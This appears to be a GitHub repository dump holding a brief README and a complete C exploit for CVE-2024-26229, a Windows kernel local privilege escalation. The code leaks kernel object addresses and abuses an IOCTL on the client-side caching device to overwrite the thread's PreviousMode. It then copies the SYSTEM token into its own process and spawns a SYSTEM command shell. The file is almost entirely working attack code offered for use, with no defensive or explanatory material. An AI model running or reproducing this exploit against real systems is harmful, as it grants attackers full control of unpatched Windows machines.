├── README.md ├── exploit.c └── poc.png /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2024-26229 (Windows LPE) 2 | 3 | This repository is a rewrite of the code [from here](https://github.com/varwara/CVE-2024-26229), but without additional dependencies. 4 | 5 | PATCHED: Apr 9, 2024 6 | 7 | ![](poc.png) 8 | -------------------------------------------------------------------------------- /exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define STATUS_SUCCESS 0 7 | 8 | #define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) 9 | #define EPROCESS_TOKEN_OFFSET 0x4B8 10 | #define KTHREAD_PREVIOUS_MODE_OFFSET 0x232 11 | #define CSC_DEV_FCB_XXX_CONTROL_FILE 0x001401a3 12 | 13 | #define SystemHandleInformation 0x10 14 | #define SystemHandleInformationSize 0x400000 15 | 16 | enum _MODE 17 | { 18 | KernelMode = 0, 19 | UserMode = 1 20 | }; 21 | 22 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO 23 | { 24 | USHORT UniqueProcessId; 25 | USHORT CreatorBackTraceIndex; 26 | UCHAR ObjectTypeIndex; 27 | UCHAR HandleAttributes; 28 | USHORT HandleValue; 29 | PVOID Object; 30 | ULONG GrantedAccess; 31 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; 32 | 33 | typedef struct _SYSTEM_HANDLE_INFORMATION 34 | { 35 | ULONG NumberOfHandles; 36 | SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; 37 | } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; 38 | 39 | typedef NTSTATUS(__stdcall* _NtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG); 40 | _NtWriteVirtualMemory pNtWriteVirtualMemory; 41 | 42 | typedef NTSTATUS(__stdcall* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG); 43 | _NtQuerySystemInformation pNtQuerySystemInformation; 44 | 45 | typedef NTSTATUS(__stdcall* _RtlInitUnicodeString)(PUNICODE_STRING, PCWSTR); 46 | _RtlInitUnicodeString pRtlInitUnicodeString; 47 | 48 | typedef NTSTATUS(__stdcall* _NtFsControlFile)(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG); 49 | _NtFsControlFile pNtFsControlFile; 50 | 51 | typedef NTSTATUS(__stdcall* _NtCreateFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG); 52 | _NtCreateFile pNtCreateFile; 53 | 54 | 55 | int NtLoad() { 56 | HMODULE hModule = GetModuleHandle(L"ntdll.dll"); 57 | 58 | if (hModule != 0) { 59 | pNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(hModule, "NtWriteVirtualMemory"); 60 | if (!pNtWriteVirtualMemory) 61 | { 62 | printf("[-] NtWriteVirtualMemory not loaded\n"); 63 | return 1; 64 | } 65 | 66 | pNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation"); 67 | if (!pNtQuerySystemInformation) 68 | { 69 | printf("[-] NtQuerySystemInformation not loaded\n"); 70 | return 1; 71 | } 72 | 73 | pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(hModule, "RtlInitUnicodeString"); 74 | if (!pRtlInitUnicodeString) 75 | { 76 | printf("[-] RtlInitUnicodeString not loaded\n"); 77 | return 1; 78 | } 79 | 80 | pNtFsControlFile = (_NtFsControlFile)GetProcAddress(hModule, "NtFsControlFile"); 81 | if (!pNtFsControlFile) 82 | { 83 | printf("[-] NtFsControlFile not loaded\n"); 84 | return 1; 85 | } 86 | 87 | pNtCreateFile = (_NtCreateFile)GetProcAddress(hModule, "NtCreateFile"); 88 | if (!pNtCreateFile) 89 | { 90 | printf("[-] NtCreateFile not loaded\n"); 91 | return 1; 92 | } 93 | } 94 | else 95 | { 96 | printf("[-] NTDLL not loaded\n"); 97 | return 1; 98 | } 99 | return 0; 100 | } 101 | 102 | int GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle) 103 | 104 | { 105 | int Ret = -1; 106 | PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0; 107 | ULONG ulBytes = 0; 108 | NTSTATUS Status = STATUS_SUCCESS; 109 | 110 | while ((Status = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L) 111 | { 112 | if (pHandleInfo != NULL) 113 | pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes); 114 | else 115 | pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes); 116 | } 117 | 118 | if (Status != NULL) 119 | { 120 | Ret = Status; 121 | goto done; 122 | } 123 | 124 | for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) 125 | { 126 | if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle)) 127 | { 128 | *ppObjAddr = (ULONG64)pHandleInfo->Handles[i].Object; 129 | Ret = 0; 130 | break; 131 | } 132 | } 133 | 134 | done: 135 | return Ret; 136 | } 137 | 138 | NTSTATUS Write64(_In_ uintptr_t* Dst, _In_ uintptr_t* Src, _In_ size_t Size) 139 | { 140 | NTSTATUS Status = 0; 141 | size_t cbNumOfBytesWrite = 0; 142 | 143 | Status = pNtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite); 144 | if (!NT_SUCCESS(Status)) 145 | return -1; 146 | 147 | return Status; 148 | } 149 | 150 | NTSTATUS Exploit() 151 | { 152 | UNICODE_STRING objectName = { 0 }; 153 | OBJECT_ATTRIBUTES objectAttr = { 0 }; 154 | IO_STATUS_BLOCK iosb = { 0 }; 155 | HANDLE handle; 156 | NTSTATUS status = 0; 157 | 158 | uintptr_t Sysproc = 0; 159 | uintptr_t Curproc = 0; 160 | uintptr_t Curthread = 0; 161 | uintptr_t Token = 0; 162 | 163 | HANDLE hCurproc = 0; 164 | HANDLE hThread = 0; 165 | uint32_t Ret = 0; 166 | uint8_t mode = UserMode; 167 | 168 | pRtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\."); 169 | InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL); 170 | 171 | status = pNtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0); 172 | if (!NT_SUCCESS(status)) 173 | { 174 | printf("[-] NtCreateFile failed with status = %x\n", status); 175 | return status; 176 | } 177 | 178 | Ret = GetObjPtr(&Sysproc, 4, 4); 179 | if (Ret != NULL) 180 | { 181 | return Ret; 182 | } 183 | printf("[+] System EPROCESS address = %llx\n", Sysproc); 184 | 185 | hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId()); 186 | if (hThread != NULL) 187 | { 188 | Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread); 189 | if (Ret != NULL) 190 | { 191 | return Ret; 192 | } 193 | printf("[+] Current THREAD address = %llx\n", Curthread); 194 | } 195 | 196 | hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId()); 197 | if (hCurproc != NULL) 198 | { 199 | Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc); 200 | if (Ret != NULL) 201 | { 202 | return Ret; 203 | } 204 | printf("[+] Current EPROCESS address = %llx\n", Curproc); 205 | } 206 | 207 | status = pNtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0); 208 | if (!NT_SUCCESS(status)) 209 | { 210 | printf("[-] NtFsControlFile failed with status = %x\n", status); 211 | return status; 212 | } 213 | 214 | printf("[!] Leveraging DKOM to achieve LPE\n"); 215 | printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n"); 216 | 217 | Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8); 218 | 219 | Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1); 220 | 221 | system("cmd.exe"); 222 | 223 | return STATUS_SUCCESS; 224 | } 225 | 226 | 227 | int main() 228 | { 229 | if( NtLoad() ) return 1; 230 | NTSTATUS status = Exploit(); 231 | return status; 232 | } 233 | -------------------------------------------------------------------------------- /poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RalfHacker/CVE-2024-26229-exploit/5efa298b0379259729ee107d3448a2304fa45ad8/poc.png --------------------------------------------------------------------------------